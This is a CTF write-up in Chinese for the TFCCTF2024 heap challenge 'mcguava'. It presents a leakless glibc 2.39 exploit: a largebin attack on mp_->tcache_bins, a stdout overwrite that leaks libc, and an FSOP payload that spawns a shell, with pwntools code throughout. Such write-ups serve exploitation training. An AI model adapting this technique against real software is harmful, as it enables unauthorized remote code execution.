TFCCTF2024 pwn - mcguava 非预期解法:基于 mp_ 结构体的 leakless RCE 技巧
1. 前言
在 TFCCTF2024 的困难 pwn 题 mcguava 中,网上公开的解法大多通过 house of water 技术完成利用。本文介绍一种更优雅的非预期解法,该技巧在 glibc 高版本(包括 2.39)中均可使用,无需信息泄露即可实现 RCE。
2. 新的 leakless RCE 技巧思路
2.1 与经典 house of water 的区别
house of water 技术要点:
- 通过申请不同大小的 chunk,在
tcache_perthread_struct中伪造 fake chunk header - 通过堆风水布局让伪造的 chunk 被合并到 unsortedbin 中
- 使得
tcache_perthread_struct中出现 libc 地址(arena 地址) - 通过部分覆盖修改最低 2 字节指向 stdout,修改 stdout 的值泄露地址
- 最终通过 FSOP 完成 RCE
新的基于 mp_ 的 leakless 技巧:
- 通过 largebin attack 攻击
mp_->tcache_bins变量 - 使更大范围的 chunk 都被识别为 tcache chunk
- 提前在堆上布局 stdout 指针
- 通过分配相应大小的 chunk 直接分配 stdout 的地址
- 修改 stdout 泄露 libc 地址,再通过 FSOP 完成 RCE
2.2 技术优势
- 概率与 house of water 相同(1/16)
- 在当前题目场景下只需极少次数的内存分配
- 利用流程更加简洁
2.3 前置条件
- 能够分配内存并写入数据(支持部分覆盖)
- 能够释放内存
- 存在可促成 largebin attack 的漏洞(UAF、Double-Free、BOF 等)
3. 题目环境分析
3.1 保护机制
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
3.2 程序逻辑
程序是简单的菜单题,只有两个功能:
guava() - 添加功能:
- 申请最大 0x6FF 大小的内存
- 可向指定偏移处写入数据(需满足
0 ≤ size2 < size-2) - 读取大小为
size - size2的数据(至少 2 字节) - 指针存储在全局数组
guava_gius中
gius() - 删除功能:
- 释放指定索引的内存
- 关键漏洞:不清空指针,导致 UAF 和 Double-Free
- 最多 255 次分配机会
4. 利用流程详解
4.1 地址爆破场景下的调试技巧
对于 1/16 的地址爆破,可使用以下命令禁用 ASLR 便于调试:
setarch $(uname -m) -R zsh
4.2 布局 stdout 指针
首先在堆上布局指向 stdout 的指针:
# 准备两个指向 stdout 的指针
target = add(0x6f8, 0, b"reserved") # 为后续 tcache 条目预留
add(0x18, 0, b"aaa")
dele(target)
target1 = add(0x18, 0, p16(stdout_))
target2 = add(0x6f8-0x20, 0, p16(stdout_))
内存布局示例:
0x55555555a290 0x0000000000000000 0x0000000000000021
0x55555555a2a0 0x00007ffff7faf5c0 0x00007ffff7faefd0 # stdout 指针
0x55555555a2b0 0x000055555555a290 0x00000000000006e1
0x55555555a2c0 0x00007ffff7faf5c0 0x00007ffff7faeb20 # 另一个 stdout 指针
4.3 Heap Fengshui:创造重叠块
这是利用的关键难点,需要为 largebin attack 准备条件。
步骤 1:创建基础布局
idxs = []
for i in range(16):
idxs.append(add(0xf8, 0, b"filler"))
add(0x18, 0, b"barrier")
la_u = add(0x418, 0, b"component") # largebin attack 的 unsortedbin 组件
add(0x18, 0, b"a")
for i in range(16):
dele(idxs[i])
步骤 2:准备 largebin chunk
padding = add(0x4c8-0x20, 0, b"f")
large = add(0x428+0x20, 0, b"1")
dele(large)
dele(padding)
步骤 3:伪造 chunk 元数据
# 伪造 fake nextchunk
add(0xf8, 0, b"a")
dele(idxs[-1])
add(0xf8, 0xd0, pack(0x430)+pack(0x11)+pack(0x440)+pack(0x11))
# 伪造 largebin chunk size
add(0xf8, 0, "a")
dele(idxs[11])
add(0xf8, 0xa8, pack(0x431)+pack(0)*2)
最终内存布局包含一个 0x430 大小的 largebin chunk,其 +0x10 处重叠一个 unsortedbin chunk。
4.4 largebin attack 攻击 mp_ 结构体
mp_ 结构体关键变量
struct malloc_par {
// ... 其他字段
size_t tcache_bins; // tcache 的最大 bin 数量
size_t tcache_max_bytes; // tcache 的最大 chunk 大小
// ... 其他字段
};
目标是通过 largebin attack 修改 mp_->tcache_bins 为堆地址,使超大 chunk 也被识别为 tcache chunk。
攻击步骤
# 释放 0x418 大小的 unsortedbin chunk
dele(la_u)
# 设置 largebin chunk->nextsize_bk 的低 2 字节
dele(idxs[11])
add(0xf8, 0xa8+0x20, p16(mp_ + 0x68 - 0x20)) # 指向 mp_->tcache_bins
# 触发 largebin attack
add(0x6f0, 0, b"111")
攻击成功后,mp_->tcache_bins 被修改为堆地址,使得超大尺寸的 chunk 也会被 tcache 处理。
4.5 利用 stdout 泄露 libc 地址
准备 tcache count
res1 = add(0x18, 0, b"1")
res2 = add(0x28, 0, b"2")
res3 = add(0x38, 0, b"3")
# ... 更多尺寸
dele(res1)
dele(res2)
dele(res3)
修改 stdout 结构泄露地址
# 对应 tcache 的 0x438 和 0x478 尺寸
add(0x438, 0, pack(0xfbad1800)+pack(0)*3+p8(0))
leak = r(8)
leak = unpack(leak)
libc.address = leak - 0x204644
stdout flags 修改说明:
- 原始值:0xfbad2887
- 修改值:0xfbad1800 或 0xfbad3887
关键标志位对比:
| 标志位 | 0x1800 (利用) | 0x2887 (原始) | 描述 |
|--------|---------------|---------------|------|
| _IO_IS_FILEBUF | 否 | 是 | 文件缓冲区 vs 字符串缓冲区 |
| _IO_IS_APPENDING | 是 | 否 | 追加模式 |
| _IO_CURRENTLY_PUTTING | 是 | 是 | 正在进行输出操作 |
| _IO_USER_BUF | 否 | 是 | 用户提供缓冲区 |
最关键的是 _IO_IS_APPENDING (0x1000) 位,设置此位可立即输出缓冲区内容。
4.6 House of Emma + House of Cat 组合利用
IO 结构伪造
fp = libc.sym._IO_2_1_stdout_
io_payload = flat({
0x00: b"/bin/sh\x00",
0x18: pack(libc.sym.system), # 触发时调用的函数
0x20: pack(fp), # 满足 write_base < write_ptr
0x88: pack(fp+8), # lock 指针
0xa0: pack(fp), # _wide_data
0xc0: pack(0), # mode
0xd8: pack(libc.sym._IO_wfile_jumps+0x10), # vtable 偏移
0xe0: pack(fp), # _wide_vtable
}, filler=b"\x00")
add(0x478, 0, io_payload)
利用链原理
- 调用
puts触发_IO_sputn - 进入
__GI__IO_wfile_seekoff - 满足条件后调用
__GI__IO_switch_to_wget_mode - 执行
[rax + 0x18]处的函数(即 system) - 参数为 stdout 结构开头(即 "/bin/sh")
关键检查条件:
write_base < write_ptr:通过设置 0x20 处的大值满足- rax 来自
[stdout+0xa0]+0xe0]:通过伪造结构控制
5. 完整利用代码要点
# 触发 largebin 排序
dele(large)
tmp = add(0x438+0x80, 0, b"1")
tmp2 = add(0x438, 0x20, b"2")
# largebin attack
dele(la_u)
dele(idxs[11])
add(0xf8, 0xa8+0x20, p16(mp_ + 0x68 - 0x20))
add(0x6f0, 0, b"111")
# 准备 tcache
dele(res1); dele(res2); dele(res3)
# 泄露 libc
add(0x438, 0, pack(0xfbad3887)+pack(0)*3+p8(0))
leak = unpack(r(8))
libc.address = leak - 0x204644
# FSOP
add(0x478, 0, io_payload)
# 触发 getshell
6. 总结
本文详细介绍了一种新的 leakless RCE 技巧,主要特点包括:
- 基于 mp_ 结构体:通过修改
tcache_bins扩大 tcache 处理范围 - 无需信息泄露:通过部分覆盖和堆布局实现利用
- 高版本兼容:在 glibc 2.39 等新版本中有效
- 利用效率高:相比 house of water 需要更少的内存操作
该技巧为 leakless 场景下的漏洞利用提供了新的思路,在合适的漏洞条件下可以高效实现 RCE。
7. 参考资料
- glibc 2.39 源码
- 堆利用详解:house of cat(含 2.35 & 2.39 IO 伪造过程分析)
- 2025 强网杯S9 pwn - bph 复盘详解